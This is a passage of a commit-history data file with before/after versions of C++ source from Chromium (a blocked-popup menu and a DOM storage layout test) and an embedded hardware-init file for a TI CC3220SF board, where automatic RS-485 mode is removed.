(kImpossibleNumberOfPopups + hosts.size() + 1 + notice_count) as notices.\n size_t notice_count = container->model_->GetBlockedNoticeCount();\n if (notice_count && (!hosts.empty() || (popup_count > 0)))\n container->launch_menu_->AppendSeparator();\n size_t first_notice = first_host + hosts.size() + 1;\n for (size_t i = 0; i < notice_count; ++i) {\n std::string host;\n string16 reason;\n container->model_->GetHostAndReasonForNotice(i, &host, &reason);\n container->launch_menu_->AppendMenuItemWithLabel(first_notice + i,\n l10n_util::GetStringFUTF8(IDS_NOTICE_TITLE_FORMAT, UTF8ToUTF16(host),\n reason));\n }\n\n container->launch_menu_->PopupAsContext(gtk_get_current_event_time());\n}\n\nvoid BlockedPopupContainerViewGtk::OnCloseButtonClicked(\n GtkButton *button, BlockedPopupContainerViewGtk* container) {\n container->model_->set_dismissed();\n container->model_->CloseAll();\n}\n\ngboolean BlockedPopupContainerViewGtk::OnRoundedExposeCallback(\n GtkWidget* widget, GdkEventExpose* event,\n BlockedPopupContainerViewGtk* container) {\n if (!container->theme_provider_->UseGtkTheme()) {\n int width = widget->allocation.width;\n int height = widget->allocation.height;\n\n \/\/ Clip to our damage rect.\n cairo_t* cr = gdk_cairo_create(GDK_DRAWABLE(event->window));\n cairo_rectangle(cr, event->area.x, event->area.y,\n event->area.width, event->area.height);\n cairo_clip(cr);\n\n if (container->theme_provider_->GetThemeID() ==\n BrowserThemeProvider::kDefaultThemeID) {\n \/\/ We are using the default theme. Use a fairly soft gradient for the\n \/\/ background of the blocked popup notification.\n int half_width = width \/ 2;\n cairo_pattern_t* pattern = cairo_pattern_create_linear(\n half_width, 0, half_width, height);\n cairo_pattern_add_color_stop_rgb(\n pattern, 0.0, kBackgroundColorTop[0], kBackgroundColorTop[1],\n kBackgroundColorTop[2]);\n cairo_pattern_add_color_stop_rgb(\n pattern, 1.0,\n kBackgroundColorBottom[0], kBackgroundColorBottom[1],\n kBackgroundColorBottom[2]);\n cairo_set_source(cr, pattern);\n cairo_paint(cr);\n cairo_pattern_destroy(pattern);\n } else {\n \/\/ Use the toolbar color the theme specifies instead. It would be nice to\n \/\/ have a gradient here, but there isn't a second color to use...\n GdkColor color = container->theme_provider_->GetGdkColor(\n BrowserThemeProvider::COLOR_TOOLBAR);\n gdk_cairo_set_source_color(cr, &color);\n cairo_paint(cr);\n }\n\n cairo_destroy(cr);\n }\n\n return FALSE;\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n\/\/ TODO(jorlow): Reenable when https:\/\/bugs.webkit.org\/show_bug.cgi?id=28094\n\/\/ is fixed. Until then, this will cause crashes even if the\n\/\/ individual tests are disabled.\n#if 0\n\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/ui\/ui_layout_test.h\"\n\n\/\/ TODO(jorlow): Enable these tests when we remove them from the\n\/\/ test_exceptions.txt file.\n\/\/static const char* kTopLevelFiles[] = {\n \/\/\"window-attributes-exist.html\"\n\/\/};\n\n\/\/ TODO(jorlow): Enable these tests when we remove them from the\n\/\/ test_exceptions.txt file.\nstatic const char* kSubDirFiles[] = {\n \"clear.html\",\n \"delete-removal.html\",\n \"enumerate-storage.html\",\n \"enumerate-with-length-and-key.html\",\n \/\/\"iframe-events.html\",\n \/\/\"index-get-and-set.html\",\n \/\/\"onstorage-attribute-markup.html\",\n \/\/\"onstorage-attribute-setattribute.html\",\n \/\/\"localstorage\/onstorage-attribute-setwindow.html\",\n \/\/\"simple-events.html\",\n \"simple-usage.html\",\n \/\/\"string-conversion.html\",\n\/\/ \"window-open.html\"\n};\n\nclass DOMStorageTest : public UILayoutTest {\n protected:\n DOMStorageTest()\n : UILayoutTest(),\n test_dir_(FilePath().AppendASCII(\"LayoutTests\").\n AppendASCII(\"storage\").AppendASCII(\"domstorage\"))\n {\n }\n\n virtual ~DOMStorageTest() { }\n\n virtual void SetUp() {\n launch_arguments_.AppendSwitch(switches::kDisablePopupBlocking);\n launch_arguments_.AppendSwitch(switches::kEnableLocalStorage);\n launch_arguments_.AppendSwitch(switches::kEnableSessionStorage);\n UILayoutTest::SetUp();\n }\n\n FilePath test_dir_;\n};\n\nTEST_F(DOMStorageTest, DOMStorageLayoutTests) {\n \/\/ TODO(jorlow): Enable these tests when we remove them from the\n \/\/ test_exceptions.txt file.\n \/\/InitializeForLayoutTest(test_dir_, FilePath(), false);\n \/\/for (size_t i=0; i<arraysize(kTopLevelFiles); ++i)\n \/\/ RunLayoutTest(kTopLevelFiles[i], false, true);\n}\n\nTEST_F(DOMStorageTest, LocalStorageLayoutTests) {\n InitializeForLayoutTest(test_dir_, FilePath().AppendASCII(\"localstorage\"),\n false);\n for (size_t i=0; i<arraysize(kSubDirFiles); ++i)\n RunLayoutTest(kSubDirFiles[i], false);\n}\n\nTEST_F(DOMStorageTest, SessionStorageLayoutTests) {\n InitializeForLayoutTest(test_dir_, FilePath().AppendASCII(\"sessionstorage\"),\n false);\n for (size_t i=0; i<arraysize(kSubDirFiles); ++i)\n RunLayoutTest(kSubDirFiles[i], false);\n}\n\n#endif\n<commit_msg>Another attempt to enable the local storage ui test based layout tests.<commit_after>\/\/ Copyright (c) 2009 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#include \"chrome\/common\/chrome_switches.h\"\n#include \"chrome\/test\/ui\/ui_layout_test.h\"\n\n\/\/ TODO(jorlow): Enable these tests when we remove them from the\n\/\/ test_exceptions.txt file.\n\/\/static const char* kTopLevelFiles[] = {\n \/\/\"window-attributes-exist.html\"\n\/\/};\n\n\/\/ TODO(jorlow): Enable these tests when we remove them from the\n\/\/ test_exceptions.txt file.\nstatic const char* kSubDirFiles[] = {\n \"clear.html\",\n \"delete-removal.html\",\n \"enumerate-storage.html\",\n \"enumerate-with-length-and-key.html\",\n \/\/\"iframe-events.html\",\n \/\/\"index-get-and-set.html\",\n \/\/\"onstorage-attribute-markup.html\",\n \/\/\"onstorage-attribute-setattribute.html\",\n \/\/\"localstorage\/onstorage-attribute-setwindow.html\",\n \/\/\"simple-events.html\",\n \"simple-usage.html\",\n \/\/\"string-conversion.html\",\n\/\/ \"window-open.html\"\n};\n\nclass DOMStorageTest : public UILayoutTest {\n protected:\n DOMStorageTest()\n : UILayoutTest(),\n test_dir_(FilePath().AppendASCII(\"LayoutTests\").\n AppendASCII(\"storage\").AppendASCII(\"domstorage\"))\n {\n }\n\n virtual ~DOMStorageTest() { }\n\n virtual void SetUp() {\n launch_arguments_.AppendSwitch(switches::kDisablePopupBlocking);\n launch_arguments_.AppendSwitch(switches::kEnableLocalStorage);\n launch_arguments_.AppendSwitch(switches::kEnableSessionStorage);\n UILayoutTest::SetUp();\n }\n\n FilePath test_dir_;\n};\n\nTEST_F(DOMStorageTest, DOMStorageLayoutTests) {\n \/\/ TODO(jorlow): Enable these tests when we remove them from the\n \/\/ test_exceptions.txt file.\n \/\/InitializeForLayoutTest(test_dir_, FilePath(), false);\n \/\/for (size_t i=0; i<arraysize(kTopLevelFiles); ++i)\n \/\/ RunLayoutTest(kTopLevelFiles[i], false, true);\n}\n\nTEST_F(DOMStorageTest, LocalStorageLayoutTests) {\n InitializeForLayoutTest(test_dir_, FilePath().AppendASCII(\"localstorage\"),\n false);\n for (size_t i=0; i<arraysize(kSubDirFiles); ++i)\n RunLayoutTest(kSubDirFiles[i], false);\n}\n\nTEST_F(DOMStorageTest, SessionStorageLayoutTests) {\n InitializeForLayoutTest(test_dir_, FilePath().AppendASCII(\"sessionstorage\"),\n false);\n for (size_t i=0; i<arraysize(kSubDirFiles); ++i)\n RunLayoutTest(kSubDirFiles[i], false);\n}\n<|endoftext|>"} {"text":"<commit_before>\/** \\copyright\n * Copyright (c) 2017, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * - Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file HwInit.cxx\n * This file represents the hardware initialization for the TI CC3220SF Wireless MCU.\n *\n * @author Balazs Racz\n * @date 29 March 2017\n *\/\n\n#include <new>\n#include <cstdint>\n\n#include \"inc\/hw_types.h\"\n#include \"inc\/hw_memmap.h\"\n#include \"inc\/hw_ints.h\"\n#include \"inc\/hw_nvic.h\"\n#include \"inc\/hw_gpio.h\"\n#include \"driverlib\/rom.h\"\n#include \"driverlib\/rom_map.h\"\n#include \"driverlib\/gpio.h\"\n#include \"driverlib\/timer.h\"\n#include \"driverlib\/interrupt.h\"\n#include \"driverlib\/pin.h\"\n#include \"driverlib\/utils.h\"\n#include \"os\/OS.hxx\"\n#include \"DummyGPIO.hxx\"\n#include \"CC32xxUart.hxx\"\n#include \"CC32xxSPI.hxx\"\n#include \"CC32xxWiFi.hxx\"\n#include \"MCP2515Can.hxx\"\n#include \"CC32xxEEPROMEmulation.hxx\"\n#include \"hardware.hxx\"\n#include \"bootloader_hal.h\"\n\n\/** override stdin *\/\nconst char *STDIN_DEVICE = \"\/dev\/ser0\";\n\n\/** override stdout *\/\nconst char *STDOUT_DEVICE = \"\/dev\/ser0\";\n\n\/** override stderr *\/\nconst char *STDERR_DEVICE = \"\/dev\/ser0\";\n\n\/** Assert the RS-485 transmit enable line.\n *\/\nstatic void rs485_enable_assert()\n{\n RS485_TX_EN_Pin::set(true);\n UtilsDelay(100);\n}\n\n\/** Deassert the RS-485 transmit enable line.\n *\/\nstatic void rs485_enable_deassert()\n{\n RS485_TX_EN_Pin::set(false);\n}\n\n\/** UART 0 serial driver instance *\/\nstatic CC32xxUart uart0(\"\/dev\/ser0\", UARTA0_BASE, INT_UARTA0, 250000,\n CC32xxUart::CS8, true,\n rs485_enable_assert, rs485_enable_deassert);\n\n\/** Wi-Fi instance *\/\nCC32xxWiFi wifi;\n\nstatic CC32xxEEPROMEmulation eeprom(\"\/usr\/dmxeeprom\", 1500);\n\n\/** Assert the chip select for the MCP2515 CAN controller.\n *\/\nstatic void mcp2515_cs_assert()\n{\n MCP2515_CS_N_Pin::set(false);\n}\n\n\/** Deassert the chip select for the MCP2515 CAN controller.\n *\/\nstatic void mcp2515_cs_deassert()\n{\n MCP2515_CS_N_Pin::set(true);\n}\n\n\/** Enable MCP2515 CAN controller interrupt.\n *\/\nstatic void mcp2515_int_enable()\n{\n GPIOIntEnable(MCP2515_INT_N_Pin::GPIO_BASE, MCP2515_INT_N_Pin::GPIO_PIN);\n}\n\n\/** Disable MCP2515 CAN controller interrupt.\n *\/\nstatic void mcp2515_int_disable()\n{\n GPIOIntDisable(MCP2515_INT_N_Pin::GPIO_BASE, MCP2515_INT_N_Pin::GPIO_PIN);\n}\n\n\/** SPI 0.0 driver instance *\/\nstatic CC32xxSPI spi0_0(\"\/dev\/spidev0.0\", GSPI_BASE, INT_GSPI,\n mcp2515_cs_assert, mcp2515_cs_deassert);\n\nstatic MCP2515Can can0(\"\/dev\/can0\", mcp2515_int_enable, mcp2515_int_disable);\n\nextern void eeprom_flush() {\n eeprom.flush();\n}\n\nextern \"C\"\n{\n\nvoid __attribute__((__weak__)) eeprom_updated_notification() {\n eeprom_flush();\n}\n\n\nextern void (* const __interrupt_vector[])(void);\nvoid hw_set_to_safe(void);\n\nstatic uint32_t nsec_per_clock = 0;\n\/\/\/ Calculate partial timing information from the tick counter.\nlong long hw_get_partial_tick_time_nsec(void)\n{\n volatile uint32_t * tick_current_reg = (volatile uint32_t *)0xe000e018;\n long long tick_val = *tick_current_reg;\n tick_val *= nsec_per_clock;\n long long elapsed = (1ULL << NSEC_TO_TICK_SHIFT) - tick_val;\n if (elapsed < 0) elapsed = 0;\n return elapsed;\n}\n\n\/** Blink LED *\/\nuint32_t blinker_pattern = 0;\nstatic volatile uint32_t rest_pattern = 0;\n\nvoid dcc_generator_init(void);\n\nvoid hw_set_to_safe(void)\n{\n GpioInit::hw_set_to_safe();\n}\n\nvoid resetblink(uint32_t pattern)\n{\n blinker_pattern = pattern;\n}\n\nvoid setblink(uint32_t pattern)\n{\n resetblink(pattern);\n}\n\nvoid timer1a_interrupt_handler(void)\n{\n \/\/\n \/\/ Clear the timer interrupt.\n \/\/\n MAP_TimerIntClear(BLINKER_TIMER_BASE, BLINKER_TIMER_TIMEOUT);\n \/\/ Set output LED.\n BLINKER_RAW_Pin::set((rest_pattern & 1));\n\n \/\/ Shift and maybe reset pattern.\n rest_pattern >>= 1;\n if (!rest_pattern)\n rest_pattern = blinker_pattern;\n}\n\nvoid diewith(uint32_t pattern)\n{\n \/* Globally disables interrupts. *\/\n asm(\"cpsid i\\n\");\n hw_set_to_safe();\n\n resetblink(pattern);\n while (1)\n {\n if (MAP_TimerIntStatus(BLINKER_TIMER_BASE, true) & BLINKER_TIMER_TIMEOUT)\n {\n timer1a_interrupt_handler();\n }\n }\n}\n\n\/** Initialize the processor hardware pre C runtime init.\n *\/\nvoid hw_preinit(void)\n{\n \/* Globally disables interrupts until the FreeRTOS scheduler is up. *\/\n asm(\"cpsid i\\n\");\n\n nsec_per_clock = 1000000000 \/ cm3_cpu_clock_hz;\n\n \/* Setup the interrupt vector table *\/\n MAP_IntVTableBaseSet((unsigned long)&__interrupt_vector[0]);\n\n \/\/ Disables all interrupts that the bootloader might have enabled.\n HWREG(NVIC_DIS0) = 0xffffffffU;\n HWREG(NVIC_DIS1) = 0xffffffffU;\n HWREG(NVIC_DIS2) = 0xffffffffU;\n HWREG(NVIC_DIS3) = 0xffffffffU;\n HWREG(NVIC_DIS4) = 0xffffffffU;\n HWREG(NVIC_DIS5) = 0xffffffffU;\n\n \/* Setup the system clock. *\/\n PRCMCC3200MCUInit();\n\n \/\/ initilize pin modes:\n init_pinmux<0>();\n GpioInit::hw_init();\n\n\n \/* Blinker timer initialization. *\/\n MAP_PRCMPeripheralClkEnable(PRCM_TIMERA1, PRCM_RUN_MODE_CLK);\n MAP_TimerConfigure(BLINKER_TIMER_BASE, TIMER_CFG_PERIODIC);\n MAP_TimerLoadSet(BLINKER_TIMER_BASE, BLINKER_TIMER, cm3_cpu_clock_hz \/ 8);\n MAP_IntEnable(BLINKER_TIMER_INT);\n\n \/* This interrupt should hit even during kernel operations. *\/\n MAP_IntPrioritySet(BLINKER_TIMER_INT, 0);\n MAP_TimerIntEnable(BLINKER_TIMER_BASE, BLINKER_TIMER_TIMEOUT);\n MAP_TimerEnable(BLINKER_TIMER_BASE, BLINKER_TIMER);\n\n \/* MCP2515 CAN Controller reset hold *\/\n MCP2515_RESET_N_Pin::set(false);\n\n \/* MCP2515 CAN Controller clock timer initialization. *\/\n MAP_PRCMPeripheralClkEnable(PRCM_TIMERA2, PRCM_RUN_MODE_CLK);\n MAP_TimerConfigure(TIMERA2_BASE,\n TIMER_CFG_SPLIT_PAIR | TIMER_CFG_B_PWM | TIMER_CFG_A_PERIODIC);\n MAP_TimerLoadSet(TIMERA2_BASE, TIMER_B, 3);\n MAP_TimerMatchSet(TIMERA2_BASE, TIMER_B, 1);\n MAP_TimerEnable(TIMERA2_BASE, TIMER_B);\n\n \/* MCP2515 CAN Controller gpio interrupt initialization *\/\n GPIOIntTypeSet(MCP2515_INT_N_Pin::GPIO_BASE, MCP2515_INT_N_Pin::GPIO_PIN, GPIO_LOW_LEVEL);\n MAP_IntPrioritySet(MCP2515_INT_N_Pin::GPIO_INT, configKERNEL_INTERRUPT_PRIORITY);\n MAP_IntEnable(MCP2515_INT_N_Pin::GPIO_INT);\n\n \/* MCP2515 CAN Controller reset release *\/\n MCP2515_RESET_N_Pin::set(true);\n\n \/* Checks the SW2 pin at boot time in case we want to allow for a debugger\n * to connect.\n asm volatile (\"cpsie i\\n\");\n do {\n if (SW2_Pin::get()) {\n blinker_pattern = 0xAAAA;\n } else {\n blinker_pattern = 0;\n }\n } while (blinker_pattern || rest_pattern);\n asm volatile (\"cpsid i\\n\"); *\/\n}\n\n\/** PORTA0 interrupt handler.\n *\/\nvoid porta0_interrupt_handler(void)\n{\n long status = GPIOIntStatus(GPIOA0_BASE, true);\n\n if (status & GPIO_INT_PIN_7)\n {\n \/* MCP2515 CAN Controller interrupt *\/\n can0.interrupt_handler();\n }\n}\n\n\/** Initialize the processor hardware post C runtime init.\n *\/\nvoid hw_init(void)\n{\n \/\/ Initialize the SPI driver for the CC32xx network processor connection.\n extern void SPI_init(void);\n SPI_init();\n \n wifi.instance()->start();\n}\n\n\/** Initialize the processor hardware post platform init.\n *\/\nvoid hw_postinit(void)\n{\n can0.init(\"\/dev\/spidev0.0\", 20000000, config_nmranet_can_bitrate());\n SyncNotifiable n;\n wifi.run_on_network_thread([&n]() {\n eeprom.mount();\n n.notify();\n });\n n.wait_for_notification();\n}\n\n} \/* extern \"C\" *\/\n<commit_msg>removes automatic rs485 mode.<commit_after>\/** \\copyright\n * Copyright (c) 2017, Balazs Racz\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions are met:\n *\n * - Redistributions of source code must retain the above copyright notice,\n * this list of conditions and the following disclaimer.\n *\n * - Redistributions in binary form must reproduce the above copyright notice,\n * this list of conditions and the following disclaimer in the documentation\n * and\/or other materials provided with the distribution.\n *\n * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\n * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n * POSSIBILITY OF SUCH DAMAGE.\n *\n * \\file HwInit.cxx\n * This file represents the hardware initialization for the TI CC3220SF Wireless MCU.\n *\n * @author Balazs Racz\n * @date 29 March 2017\n *\/\n\n#include <new>\n#include <cstdint>\n\n#include \"inc\/hw_types.h\"\n#include \"inc\/hw_memmap.h\"\n#include \"inc\/hw_ints.h\"\n#include \"inc\/hw_nvic.h\"\n#include \"inc\/hw_gpio.h\"\n#include \"driverlib\/rom.h\"\n#include \"driverlib\/rom_map.h\"\n#include \"driverlib\/gpio.h\"\n#include \"driverlib\/timer.h\"\n#include \"driverlib\/interrupt.h\"\n#include \"driverlib\/pin.h\"\n#include \"driverlib\/utils.h\"\n#include \"os\/OS.hxx\"\n#include \"DummyGPIO.hxx\"\n#include \"CC32xxUart.hxx\"\n#include \"CC32xxSPI.hxx\"\n#include \"CC32xxWiFi.hxx\"\n#include \"MCP2515Can.hxx\"\n#include \"CC32xxEEPROMEmulation.hxx\"\n#include \"hardware.hxx\"\n#include \"bootloader_hal.h\"\n\n\/** override stdin *\/\nconst char *STDIN_DEVICE = \"\/dev\/ser0\";\n\n\/** override stdout *\/\nconst char *STDOUT_DEVICE = \"\/dev\/ser0\";\n\n\/** override stderr *\/\nconst char *STDERR_DEVICE = \"\/dev\/ser0\";\n\n\/*\n\/\/ Assert the RS-485 transmit enable line.\nstatic void rs485_enable_assert()\n{\n RS485_TX_EN_Pin::set(true);\n UtilsDelay(100);\n}\n\n\/\/ Deassert the RS-485 transmit enable line.\nstatic void rs485_enable_deassert()\n{\n RS485_TX_EN_Pin::set(false);\n}*\/\n\n\/** UART 0 serial driver instance *\/\nstatic CC32xxUart uart0(\"\/dev\/ser0\", UARTA0_BASE, INT_UARTA0, 250000,\n CC32xxUart::CS8 | CC32xxUart::CSTOPB, true);\n\n\/** Wi-Fi instance *\/\nCC32xxWiFi wifi;\n\nstatic CC32xxEEPROMEmulation eeprom(\"\/usr\/dmxeeprom\", 1500);\n\n\/** Assert the chip select for the MCP2515 CAN controller.\n *\/\nstatic void mcp2515_cs_assert()\n{\n MCP2515_CS_N_Pin::set(false);\n}\n\n\/** Deassert the chip select for the MCP2515 CAN controller.\n *\/\nstatic void mcp2515_cs_deassert()\n{\n MCP2515_CS_N_Pin::set(true);\n}\n\n\/** Enable MCP2515 CAN controller interrupt.\n *\/\nstatic void mcp2515_int_enable()\n{\n GPIOIntEnable(MCP2515_INT_N_Pin::GPIO_BASE, MCP2515_INT_N_Pin::GPIO_PIN);\n}\n\n\/** Disable MCP2515 CAN controller interrupt.\n *\/\nstatic void mcp2515_int_disable()\n{\n GPIOIntDisable(MCP2515_INT_N_Pin::GPIO_BASE, MCP2515_INT_N_Pin::GPIO_PIN);\n}\n\n\/** SPI 0.0 driver instance *\/\nstatic CC32xxSPI spi0_0(\"\/dev\/spidev0.0\", GSPI_BASE, INT_GSPI,\n mcp2515_cs_assert, mcp2515_cs_deassert);\n\nstatic MCP2515Can can0(\"\/dev\/can0\", mcp2515_int_enable, mcp2515_int_disable);\n\nextern void eeprom_flush() {\n eeprom.flush();\n}\n\nextern \"C\"\n{\n\nvoid __attribute__((__weak__)) eeprom_updated_notification() {\n eeprom_flush();\n}\n\n\nextern void (* const __interrupt_vector[])(void);\nvoid hw_set_to_safe(void);\n\nstatic uint32_t nsec_per_clock = 0;\n\/\/\/ Calculate partial timing information from the tick counter.\nlong long hw_get_partial_tick_time_nsec(void)\n{\n volatile uint32_t * tick_current_reg = (volatile uint32_t *)0xe000e018;\n long long tick_val = *tick_current_reg;\n tick_val *= nsec_per_clock;\n long long elapsed = (1ULL << NSEC_TO_TICK_SHIFT) - tick_val;\n if (elapsed < 0) elapsed = 0;\n return elapsed;\n}\n\n\/** Blink LED *\/\nuint32_t blinker_pattern = 0;\nstatic volatile uint32_t rest_pattern = 0;\n\nvoid dcc_generator_init(void);\n\nvoid hw_set_to_safe(void)\n{\n GpioInit::hw_set_to_safe();\n}\n\nvoid resetblink(uint32_t pattern)\n{\n blinker_pattern = pattern;\n}\n\nvoid setblink(uint32_t pattern)\n{\n resetblink(pattern);\n}\n\nvoid timer1a_interrupt_handler(void)\n{\n \/\/\n \/\/ Clear the timer interrupt.\n \/\/\n MAP_TimerIntClear(BLINKER_TIMER_BASE, BLINKER_TIMER_TIMEOUT);\n \/\/ Set output LED.\n BLINKER_RAW_Pin::set((rest_pattern & 1));\n\n \/\/ Shift and maybe reset pattern.\n rest_pattern >>= 1;\n if (!rest_pattern)\n rest_pattern = blinker_pattern;\n}\n\nvoid diewith(uint32_t pattern)\n{\n \/* Globally disables interrupts. *\/\n asm(\"cpsid i\\n\");\n hw_set_to_safe();\n\n resetblink(pattern);\n while (1)\n {\n if (MAP_TimerIntStatus(BLINKER_TIMER_BASE, true) & BLINKER_TIMER_TIMEOUT)\n {\n timer1a_interrupt_handler();\n }\n }\n}\n\n\/** Initialize the processor hardware pre C runtime init.\n *\/\nvoid hw_preinit(void)\n{\n \/* Globally disables interrupts until the FreeRTOS scheduler is up. *\/\n asm(\"cpsid i\\n\");\n\n nsec_per_clock = 1000000000 \/ cm3_cpu_clock_hz;\n\n \/* Setup the interrupt vector table *\/\n MAP_IntVTableBaseSet((unsigned long)&__interrupt_vector[0]);\n\n \/\/ Disables all interrupts that the bootloader might have enabled.\n HWREG(NVIC_DIS0) = 0xffffffffU;\n HWREG(NVIC_DIS1) = 0xffffffffU;\n HWREG(NVIC_DIS2) = 0xffffffffU;\n HWREG(NVIC_DIS3) = 0xffffffffU;\n HWREG(NVIC_DIS4) = 0xffffffffU;\n HWREG(NVIC_DIS5) = 0xffffffffU;\n\n \/* Setup the system clock. *\/\n PRCMCC3200MCUInit();\n\n \/\/ initilize pin modes:\n init_pinmux<0>();\n GpioInit::hw_init();\n\n\n \/* Blinker timer initialization. *\/\n MAP_PRCMPeripheralClkEnable(PRCM_TIMERA1, PRCM_RUN_MODE_CLK);\n MAP_TimerConfigure(BLINKER_TIMER_BASE, TIMER_CFG_PERIODIC);\n MAP_TimerLoadSet(BLINKER_TIMER_BASE, BLINKER_TIMER, cm3_cpu_clock_hz \/ 8);\n MAP_IntEnable(BLINKER_TIMER_INT);\n\n \/* This interrupt should hit even during kernel operations. *\/\n MAP_IntPrioritySet(BLINKER_TIMER_INT, 0);\n MAP_TimerIntEnable(BLINKER_TIMER_BASE, BLINKER_TIMER_TIMEOUT);\n MAP_TimerEnable(BLINKER_TIMER_BASE, BLINKER_TIMER);\n\n \/* MCP2515 CAN Controller reset hold *\/\n MCP2515_RESET_N_Pin::set(false);\n\n \/* MCP2515 CAN Controller clock timer initialization. *\/\n MAP_PRCMPeripheralClkEnable(PRCM_TIMERA2, PRCM_RUN_MODE_CLK);\n MAP_TimerConfigure(TIMERA2_BASE,\n TIMER_CFG_SPLIT_PAIR | TIMER_CFG_B_PWM | TIMER_CFG_A_PERIODIC);\n MAP_TimerLoadSet(TIMERA2_BASE, TIMER_B, 3);\n MAP_TimerMatchSet(TIMERA2_BASE, TIMER_B, 1);\n MAP_TimerEnable(TIMERA2_BASE, TIMER_B);\n\n \/* MCP2515 CAN Controller gpio interrupt initialization *\/\n GPIOIntTypeSet(MCP2515_INT_N_Pin::GPIO_BASE, MCP2515_INT_N_Pin::GPIO_PIN, GPIO_LOW_LEVEL);\n MAP_IntPrioritySet(MCP2515_INT_N_Pin::GPIO_INT, configKERNEL_INTERRUPT_PRIORITY);\n MAP_IntEnable(MCP2515_INT_N_Pin::GPIO_INT);\n\n \/* MCP2515 CAN Controller reset release *\/\n MCP2515_RESET_N_Pin::set(true);\n\n \/* Checks the SW2 pin at boot time in case we want to allow for a debugger\n * to connect.\n asm volatile (\"cpsie i\\n\");\n do {\n if (SW2_Pin::get()) {\n blinker_pattern = 0xAAAA;\n } else {\n blinker_pattern = 0;\n }\n } while (blinker_pattern || rest_pattern);\n asm volatile (\"cpsid i\\n\"); *\/\n}\n\n\/** PORTA0 interrupt handler.\n *\/\nvoid porta0_interrupt_handler(void)\n{\n long status = GPIOIntStatus(GPIOA0_BASE, true);\n\n if (status & GPIO_INT_PIN_7)\n {\n \/* MCP2515 CAN Controller interrupt *\/\n can0.interrupt_handler();\n }\n}\n\n\/** Initialize the processor hardware post C runtime init.\n *\/\nvoid hw_init(void)\n{\n \/\/ Initialize the SPI driver for the CC32xx network processor connection.\n extern void SPI_init(void);\n SPI_init();\n \n wifi.instance()->start();\n}\n\n\/** Initialize the processor hardware post platform init.\n *\/\nvoid hw_postinit(void)\n{\n can0.init(\"\/dev\/spidev0.0\", 20000000, config_nmranet_can_bitrate());\n SyncNotifiable n;\n wifi.run_on_network_thread([&n]() {\n eeprom.mount();\n n.notify();\n });\n n.wait_for_notification();\n}\n\n} \/* extern \"C\" *\/\n<|endoftext|>"} {"text":"<commit_before>\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/\n\/\/ Copyright (c) 2007-2008, Image Engine Design Inc. All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are\n\/\/ met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright\n\/\/ notice, this list of conditions and the following disclaimer.\n\/\/\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/\n\/\/ * Neither the name of Image Engine Design nor the names of any\n\/\/ other contributors to this software may be used to endorse or\n\/\/ promote products derived from this software without specific prior\n\/\/ written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n\/\/ IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n\/\/ THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n\/\/ PURPOSE ARE 